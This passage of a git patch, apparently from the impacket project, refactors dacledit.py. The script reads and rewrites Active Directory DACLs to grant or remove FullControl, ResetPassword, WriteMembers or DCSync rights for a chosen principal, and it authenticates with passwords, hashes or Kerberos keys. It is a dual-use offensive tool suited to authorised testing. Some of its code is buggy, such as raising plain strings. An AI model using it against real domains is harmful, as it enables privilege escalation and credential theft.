ldaptypes.ACCESS_MASK.SYNCHRONIZE - WRITE_OWNER = ldaptypes.ACCESS_MASK.WRITE_OWNER - WRITE_DACL = ldaptypes.ACCESS_MASK.WRITE_DACL - READ_CONTROL = ldaptypes.ACCESS_MASK.READ_CONTROL - DELETE = ldaptypes.ACCESS_MASK.DELETE + +class ACCESS_MASK(Enum): + GenericRead = 0x80000000 + GenericWrite = 0x40000000 + GenericExecute = 0x20000000 + GenericAll = 0x10000000 + MaximumAllowed = 0x02000000 + AccessSystemSecurity = 0x01000000 + Synchronize = 0x00100000 + WriteOwner = 0x00080000 + WriteDAC = 0x00040000 + ReadControl = 0x00020000 + Delete = 0x00010000 + WriteAttributes = 0x00000100 + ReadAttributes = 0x00000080 + DeleteChild = 0x00000040 + Execute_Traverse = 0x00000020 + WriteExtendedAttributes = 0x00000010 + ReadExtendedAttributes = 0x00000008 + AppendData = 0x00000004 + WriteData = 0x00000002 + ReadData = 0x00000001 + + +class SIMPLE_PERMISSIONS(Enum): + FullControl = 0xf01ff + Read = 0x20094 + Write = 0x200bc + class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): - ADS_RIGHT_DS_CONTROL_ACCESS = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS - ADS_RIGHT_DS_CREATE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD - ADS_RIGHT_DS_DELETE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD - ADS_RIGHT_DS_READ_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP - ADS_RIGHT_DS_WRITE_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP - ADS_RIGHT_DS_SELF = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF - -# Create an ALLOW ACE with the specified sid -def create_access_allowed_ace(access_mask, sid): - nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE - nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_ACE() - acedata['Mask'] = ldaptypes.ACCESS_MASK() - acedata['Mask']['Mask'] = access_mask - acedata['Sid'] = ldaptypes.LDAP_SID() - acedata['Sid'].fromCanonical(sid) - nace['Ace'] = acedata - return nace - -# Create an object ACE with the specified privguid and our sid -def create_access_allowed_object_ace(privguid, sid): - nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE - nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() - acedata['Mask'] = ldaptypes.ACCESS_MASK() - acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS - acedata['ObjectType'] = string_to_bin(privguid) - acedata['InheritedObjectType'] = b'' - acedata['Sid'] = ldaptypes.LDAP_SID() - acedata['Sid'].fromCanonical(sid) - assert sid == acedata['Sid'].formatCanonical() - acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT - nace['Ace'] = acedata - return nace + ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD + DeleteChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD + ReadProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + WriteProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP + Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF + class DACLedit(object): """docstring for setrbcd""" @@ -135,144 +203,75 @@ def __init__(self, ldap_server, ldap_session, args): cnf.basepath = None self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - def read(self): + # Searching for target account with its security descriptor # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) if self.target_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) elif self.target_SID is not None: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) elif self.target_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - parsed_dacl = self.parseDACL(secDesc['Dacl']) - self.printparsedDACL(parsed_dacl) + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: - logging.error('Principal not found in LDAP') - return False - return + raise('Target principal not found in LDAP (%s)' % _lookedup_principal) - def write(self): + # Extract security descriptor data + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + + # Searching for the principal SID if any principal argument was given and principal_SID wasn't if self.principal_SID is None: if self.principal_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) + _lookedup_principal = self.principal_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) elif self.principal_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) + _lookedup_principal = self.principal_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) try: self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - pass + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) except IndexError: - logging.error('Principal not found in LDAP') - return False - logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + raise('Principal SID not found in LDAP (%s)' % _lookedup_principal) - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - except IndexError: - logging.error('Principal not found in LDAP') - return False - if self.target_SID is not None: - assert self.target_SID == self.target_principal['objectSid'].raw_values[0] - else: - self.target_SID = self.target_principal['objectSid'].raw_values[0] - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - if self.rights == "GenericAll" and self.rights_guid is None: + + def read(self): + parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl']) + self.printparsedDACL(parsed_dacl) + return + + def write(self): + # if self.target_SID is not None: + # assert self.target_SID == format_sid(self.target_principal['objectSid'].raw_values[0]) + # else: + # self.target_SID = self.target_principal['objectSid'].raw_values[0] + + if self.rights == "FullControl" and self.rights_guid is None: logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) - secDesc['Dacl'].aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) - else: - _rights_guids = [] - if self.rights_guid is not None: - _rights_guids = [ self.rights_guid ] - elif self.rights == "WriteMembers": - _rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] - elif self.rights == "ResetPassword": - _rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] - elif self.rights == "DCSync": - _rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, - RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL ] - for rights_guid in _rights_guids: - logging.info("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid.name, format_sid(self.target_SID))) - secDesc['Dacl'].aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) - dn = self.target_principal.entry_dn - data = secDesc.getData() - self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) - if self.ldap_session.result['result'] == 0: - logging.info('DACL modified successfully!') + self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + for rights_guid in self.build_guids_for_rights(): + logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) + self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) return def remove(self): - if self.principal_SID is None: - if self.principal_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) - elif self.principal_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) - try: - self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - pass - except IndexError: - logging.error('Principal not found in LDAP') - return False - logging.debug("Found principal SID: %s" % self.principal_SID) - - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - except IndexError: - logging.error('Principal not found in LDAP') - return False - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - compare_aces = [] - if self.rights == "GenericAll" and self.rights_guid is None: - # compare_aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) - compare_aces.append(create_access_allowed_ace(983551, self.principal_SID)) - # todo : having issues with setting genericall ACEs, puttinf this hard value here to be able to remove a what-seems-like-genericall - pass + if self.rights == "FullControl" and self.rights_guid is None: + compare_aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: - _rights_guids = [] - if self.rights_guid is not None: - _rights_guids = [self.rights_guid] - elif self.rights == "WriteMembers": - _rights_guids = [RIGHTS_GUID.WRITE_MEMBERS] - elif self.rights == "ResetPassword": - _rights_guids = [RIGHTS_GUID.RESET_PASSWORD] - elif self.rights == "DCSync": - _rights_guids = [RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL] - for rights_guid in _rights_guids: - compare_aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) + for rights_guid in self.build_guids_for_rights(): + compare_aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) new_dacl = [] i = 0 - for ace in secDesc['Dacl'].aces: - # logging.debug("Comparing ACE[%d]" % i) + dacl_must_be_replaced = False + for ace in self.principal_security_descriptor['Dacl'].aces: ace_must_be_removed = False for compare_ace in compare_aces: if ace['AceType'] == compare_ace['AceType'] \ @@ -284,34 +283,22 @@ def remove(self): and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: - logging.debug("This ACE will be removed") ace_must_be_removed = True - self.printparsedACE(self.parseACE(ace)) + dacl_must_be_replaced = True else: - logging.debug("This ACE will be removed") ace_must_be_removed = True - elements_name = list(self.parseACE(ace).keys()) - for attribute in elements_name: - logging.info(" %-26s: %s" % (attribute, self.parseACE(ace)[attribute])) + dacl_must_be_replaced = True if not ace_must_be_removed: new_dacl.append(ace) + elif logging.getLogger().level == logging.DEBUG: + logging.debug("This ACE will be removed") + self.printparsedACE(self.parseACE(ace)) i += 1 - secDesc['Dacl'].aces = new_dacl - dn = self.target_principal.entry_dn - data = secDesc.getData() - self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) - if self.ldap_session.result['result'] == 0: - logging.info('DACL modified successfully!') + if dacl_must_be_replaced: + self.principal_security_descriptor['Dacl'].aces = new_dacl + self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) - return + logging.info("Nothing to remove...") def flush(self): # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL @@ -335,17 +322,41 @@ def get_user_info(self, samname): logging.error('User not found in LDAP: %s' % samname) return False + def resolveSID(self, sid): + if sid in WELL_KNOWN_SIDS.keys(): + return WELL_KNOWN_SIDS[sid] + else: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return samname + except IndexError: + logging.debug('SID not found in LDAP: %s' % sid) + return "" + def parseDACL(self, dacl): parsed_dacl = [] logging.info("Parsing DACL") i = 0 for ace in dacl['Data']: - logging.debug("Parsing ACE[%d]" % i) parsed_ace = self.parseACE(ace) parsed_dacl.append(parsed_ace) i += 1 return parsed_dacl + def parsePerms(self, fsr): + # get simple permission + _perms = [] + for PERM in SIMPLE_PERMISSIONS: + if (fsr & PERM.value) == PERM.value: + _perms.append(PERM.name) + fsr = fsr & (not PERM.value) + for PERM in ACCESS_MASK: + if fsr & PERM.value: + _perms.append(PERM.name) + return _perms + def parseACE(self, ace): if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": parsed_ace = {} @@ -354,61 +365,77 @@ def parseACE(self, ace): for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" if ace['TypeName'] == "ACCESS_ALLOWED_ACE": - _access_mask_flags = [] - # todo : something is wrong here, when creating a genericall manually on the DC, the Mask reflects here with a value of 983551, I'm not sure I'm parsing that data correctly - for FLAG in ALLOWED_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) # todo match the SID with the object sAMAccountName ? elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": _access_mask_flags = [] + # todo check if this access mask parsing is okay for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: if ace['Ace']['Mask'].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + parsed_ace['Access mask'] = ", ".join(_access_mask_flags) # todo match the SID with the object sAMAccountName ? _object_flags = [] for FLAG in ALLOWED_OBJECT_ACE_FLAGS: if ace['Ace'].hasFlag(FLAG.value): _object_flags.append(FLAG.name) - parsed_ace['Object flags'] = ", ".join(_object_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + parsed_ace['Flags'] = ", ".join(_object_flags) or "None" + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) if ace['Ace']['ObjectTypeLen'] != 0: obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() try: - parsed_ace['Object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) except KeyError: - parsed_ace['Object type'] = "UNKNOWN (%s)" % obj_type + parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type if ace['Ace']['InheritedObjectTypeLen'] != 0: inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() try: - parsed_ace['Inherited object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) except KeyError: - parsed_ace['Object type'] = "UNKNOWN (%s)" % inh_obj_type + parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type else: logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) parsed_ace = {} - parsed_ace['Type'] = ace['TypeName'] + parsed_ace['ACE type'] = ace['TypeName'] _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_ace_flags) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace def printparsedDACL(self, parsed_dacl): + if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: + if self.principal_sAMAccountName is not None: + _lookedup_principal = self.principal_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) + elif self.principal_DN is not None: + _lookedup_principal = self.principal_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + except IndexError: + logging.error('Principal not found in LDAP (%s)' % _lookedup_principal) + return False + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + logging.info("Printing parsed DACL") i = 0 + if self.principal_SID is not None: + logging.info("Filtering results for SID (%s)" % self.principal_SID) for parsed_ace in parsed_dacl: - logging.info(" %-28s" % "ACE[%d] info" % i) - self.printparsedACE(parsed_ace) + print_ace = True + if self.principal_SID is not None: + if self.principal_SID not in parsed_ace['Trustee (SID)']: + print_ace = False + if print_ace: + logging.info(" %-28s" % "ACE[%d] info" % i) + self.printparsedACE(parsed_ace) i += 1 def printparsedACE(self, parsed_ace): @@ -416,31 +443,93 @@ def printparsedACE(self, parsed_ace): for attribute in elements_name: logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + def build_guids_for_rights(self): + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [self.rights_guid] + elif self.rights == "WriteMembers": + _rights_guids = [RIGHTS_GUID.WriteMembers.value] + elif self.rights == "ResetPassword": + _rights_guids = [RIGHTS_GUID.ResetPassword.value] + elif self.rights == "DCSync": + _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value] + return _rights_guids + + def modify_secDesc_for_dn(self, dn, secDesc): + data = secDesc.getData() + controls = security_descriptor_control(sdflags=0x04) + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + def create_access_allowed_ace(self, access_mask, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = access_mask + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + + def create_access_allowed_object_ace(self, privguid, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + acedata['ObjectType'] = string_to_bin(privguid) + acedata['InheritedObjectType'] = b'' + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + assert sid == acedata['Sid'].formatCanonical() + acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + nace['Ace'] = acedata + return nace + + + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument("-principal", dest="principal_sAMAccountName", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") - parser.add_argument("-principal-sid", dest="principal_SID", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") - parser.add_argument("-principal-dn", dest="principal_DN", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") - parser.add_argument("-target", dest="target_sAMAccountName", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") - parser.add_argument("-target-sid", dest="target_SID", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") - parser.add_argument("-target-dn", dest="target_DN", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") - parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') - parser.add_argument('-rights', choices=['GenericAll', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='GenericAll', help='Rights to write/remove in the target DACL') - parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to add to the target') parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) ' - 'based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - group = parser.add_argument_group('connection') - group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center)' - ' for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + auth_con = parser.add_argument_group('authentication & connection') + auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + auth_con.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + auth_con.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + principal_parser = parser.add_argument_group("principal", description="Principal object to read/edit the DACL of") + principal_parser.add_argument("-principal", dest="principal_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + principal_parser.add_argument("-principal-sid", dest="principal_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + principal_parser.add_argument("-principal-dn", dest="principal_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + target_parser = parser.add_argument_group("target", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") + target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + dacl_parser = parser.add_argument_group("dacl editor") + dacl_parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') + dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') if len(sys.argv) == 1: parser.print_help() From aa8b16ee8f6a00fac521a0af5e163931ca2dc93b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 2 Apr 2022 00:13:10 +0200 Subject: [PATCH 103/152] Added backup and restore --- examples/dacledit.py | 97 ++++++++++++++++++++++++++++---------------- 1 file changed, 61 insertions(+), 36 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ff5d4cc79d..c220839ffc 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -17,9 +17,15 @@ # import argparse +import binascii +import codecs +import json import logging +import re import sys import traceback +import datetime + import ldap3 import ssl import ldapdomaindump @@ -197,6 +203,7 @@ def __init__(self, ldap_server, ldap_session, args): self.rights = args.rights self.rights_guid = args.rights_guid + self.filename = args.filename logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() @@ -204,29 +211,15 @@ def __init__(self, ldap_server, ldap_session, args): self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) # Searching for target account with its security descriptor - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - _lookedup_principal = self.target_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - _lookedup_principal = self.target_SID - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - _lookedup_principal = self.target_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) - except IndexError: - raise('Target principal not found in LDAP (%s)' % _lookedup_principal) + self.search_principal_security_descriptor() # Extract security descriptor data - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.principal_security_descriptor = 